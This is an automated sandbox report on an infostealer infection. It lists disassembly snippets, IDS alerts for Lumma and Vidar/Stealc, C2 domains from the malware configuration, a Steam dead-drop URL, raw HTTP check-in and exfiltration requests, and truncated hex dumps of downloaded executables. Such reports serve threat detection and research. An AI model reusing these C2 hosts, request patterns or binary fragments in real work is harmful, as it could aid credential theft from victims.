Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-14h] 13_2_00445643
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx edx, byte ptr [esi+ebx] 13_2_00405680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 13_2_00410690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 13_2_00410690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+0Ch] 13_2_00449700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h 13_2_00449700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-14h] 13_2_004487D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov dword ptr [esp+14h], 12EEEC16h 13_2_0042E7F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 13_2_004278E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov word ptr [eax], cx 13_2_004278E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 13_2_004278E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+0Ch] 13_2_00449890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h 13_2_00449890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah 13_2_00449A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+0Ch] 13_2_00431AC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+0Ch] 13_2_00431AC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+000006A8h] 13_2_0041DACA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp] 13_2_0040DBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then xor eax, eax 13_2_0042ABF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp] 13_2_00443B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh 13_2_00443B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+08h] 13_2_00414C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh 13_2_00447D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx eax, word ptr [esi+ecx] 13_2_00440D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp byte ptr [edi+eax+01h], 00000000h 13_2_0042CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp eax 13_2_0042CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h 13_2_0042FD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov word ptr [eax], dx 13_2_0041FD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp dword ptr [00450078h] 13_2_0041FD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ebx], al 13_2_00411DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi] 13_2_00411DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 13_2_00411DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov word ptr [eax], cx 13_2_00425EF0

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2056159 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI) : 192.168.2.5:49750 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2056160 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop) : 192.168.2.5:55767 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056161 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI) : 192.168.2.5:49749 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.5:49751 -> 104.21.58.182:443
Source: Network traffic Suricata IDS: 2056165 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI) : 192.168.2.5:49747 -> 172.67.132.32:443
Source: Network traffic Suricata IDS: 2056152 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop) : 192.168.2.5:54644 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056162 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop) : 192.168.2.5:56512 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056156 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop) : 192.168.2.5:63337 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056154 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop) : 192.168.2.5:50295 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056155 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI) : 192.168.2.5:49752 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2056150 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop) : 192.168.2.5:54607 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056164 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop) : 192.168.2.5:63087 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056153 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI) : 192.168.2.5:49754 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.5:49746 -> 104.21.58.182:443
Source: Network traffic Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.5:49748 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2056158 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop) : 192.168.2.5:53002 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.5:49745 -> 45.132.206.251:80
Source: Network traffic Suricata IDS: 2056151 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI) : 192.168.2.5:49756 -> 104.21.77.130:443
Source: Network traffic Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.5:49718 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.211.162:443 -> 192.168.2.5:49718
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.211.162:443 -> 192.168.2.5:49716
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49746 -> 104.21.58.182:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49746 -> 104.21.58.182:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49750 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49750 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49748 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49748 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49752 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49762 -> 104.21.51.224:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49762 -> 104.21.51.224:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49751 -> 104.21.58.182:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49749 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49752 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49749 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49751 -> 104.21.58.182:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49754 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49754 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49747 -> 172.67.132.32:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49747 -> 172.67.132.32:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49756 -> 104.21.77.130:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49756 -> 104.21.77.130:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: gutterydhowi.shop
Source: Malware configuration extractor URLs: vozmeatillu.shop
Source: Malware configuration extractor URLs: drawzhotdog.shop
Source: Malware configuration extractor URLs: reinforcenh.shop
Source: Malware configuration extractor URLs: ghostreedmnu.shop
Source: Malware configuration extractor URLs: fragnantbui.shop
Source: Malware configuration extractor URLs: offensivedzvju.shop
Source: Malware configuration extractor URLs: stogeneratmns.shop
Source: Malware configuration extractor URLs: https://steamcommunity.com/profiles/76561199780418869
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 25 Sep 2024 18:49:59 GMTContent-Type: application/octet-streamContent-Length: 26112Last-Modified: Wed, 25 Sep 2024 14:57:44 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f424e8-6600"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 03 70 14 f9 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 5c 00 00 00 08 00 00 00 00 00 00 be 7b 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 68 7b 00 00 53 00 00 00 00 80 00 00 86 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 5b 00 00 00 20 00 00 00 5c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 86 05 00 00 00 80 00 00 00 06 00 00 00 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 7b 00 00 00 00 00 00 48 00 00 00 02 00 05 00 74 43 00 00 f4 37 00 00 03 00 02 00 07 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 28 00 00 0a 2a 2e 73 09 00 00 06 80 07 00 00 04 2a 1a 28 33 00 00 06 2a 32 02 7b 09 00 00 04 28 14 00 00 06 2a 32 02 7b 0a 00 00 04 28 1a 00 00 06 2a 36 02 7c 0c 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 10 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 13 00 00 04 03 28 34 00 00 0a 2a 52 02 73 45 00 00 0a 25 6f 46 00 00 0a 18 60 6f 47 00 00 0a 2a 46 02 28 48 00 00 0a 28 49 00 00 0a 28 09 00 00 2b 2a 86 03 6f 4d 00 00 0a 25 3a 03 00 00 00 26 16 2a 28 4e 00 00 0a 02 7b 19 00 00 04 1b 6f 4f 00 00 0a 2a 5a 02 7b 20 00 00 04 72 af 02 00 70 28 01 00 00 06 28 5a 00 00 0a 2a 32 02 7b 22 00 00 04 28 3d 00 00 0a 2a 36 02 7c 24 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 28 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 2c 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 34 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 37 00 00 04 03 28 34 00 00 0a 2a 2e 28 67 00 00 0a 28 18 00 00 2b 2a a6 72 15 03 00 70 28 01 00 00 06 80 3a 00 00 04 72
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 25 Sep 2024 18:50:01 GMTContent-Type: application/octet-streamContent-Length: 377384Last-Modified: Wed, 25 Sep 2024 14:55:57 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f4247d-5c228"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 76 23 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 92 05 00 00 08 00 00 00 00 00 00 ee b0 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 b0 05 00 57 00 00 00 00 c0 05 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 9c 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 5c af 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 90 05 00 00 20 00 00 00 92 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 b8 05 00 00 00 c0 05 00 00 06 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 05 00 00 02 00 00 00 9a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 b0 05 00 00 00 00 00 48 00 00 00 02 00 05 00 c0 9e 05 00 9c 10 00 00 03 00 02 00 13 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4d d0 0c ca ae e4 f6 a2 5c 3d e1 dd 1c e6 94 08 e1 9e 18 53 8e a6 a6 21 d5 7d 10 53 99 74 d0 9f fd 0b 26 91 50 d5 69 40 cf fa 32 1e f9 9d 5e 06 2d e8 d4 cb a4 34 d2 4e 7f cd 10 aa 97 5e 49 47 ca 58 10 43 3a 2c fc 9f 3c 4a d4 cc fa 17 0f a4 49 7b 79 5d 63 66 34 73 91 d6 e5 1d 4f af 88 1a 18 dc 29 11 c4 3b 1b 78 6f 7a f7 cb ed a9 9f da 16 ed 64 69 06 30 61 34 59 93 5a ba f1 17 79 52 86 b5 00 ba 37 55 e1 00 07 0f 38 66 80 b6 bf 1a 64 a4 4c ff 2a c2 65 bc 71 11 37 31 b9 43 57 fa 42 6d 4b 0f 1a ef dd 4c 96 24 66 d4 b0 27 c7 d7 80 b0 04 e4 e4 01 4f 36 f3 cd 2c 2d 42 1f 68 28 a9 a9 11 80 1d 6c f3 d4 c0 cc 7f b9 0c 7d b7 48 c9 c6 37 c6 24 a0 d0 be fd ef 0f 24 0d 71 ba be 8f 88 a9 79 05 a4 c2 ac 83 62 8e ff 96 40 1e 67 e3 40 86 42 5b f5 94 31 0d 2b 14 a5 93 a3 73 03 ff 14 e5 eb ad fb a0 49 db 72 5a 6f 0e 64 ba 8d 08 b0 64 88 5d 58 8c f3 15 1c fa f0 07 f8 8e 36 08 18 a5 0b 19 89 c0 66 bb f3 48 d7 f7 3d 2
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 104.21.51.224 104.21.51.224
Source: Joe Sandbox View IP Address: 104.21.77.130 104.21.77.130
Source: Joe Sandbox View IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View IP Address: 104.26.12.205 104.26.12.205
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
May check the online IP address of the machine
Source: unknown DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49720 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49716 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49713 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49711 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49718 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49719 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49712 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49722 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49724 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49721 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49723 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49725 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49726 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49727 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49728 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49729 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49731 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49730 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49734 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49735 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49732 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49737 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49733 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49742 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49739 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49736 -> 147.45.44.104:80
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJEGDAKEHJECAKEGDHJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCGHJDBFIIDGDHIJDBGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIIDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBGHIIDAECBFIDHIIDGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 5869Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
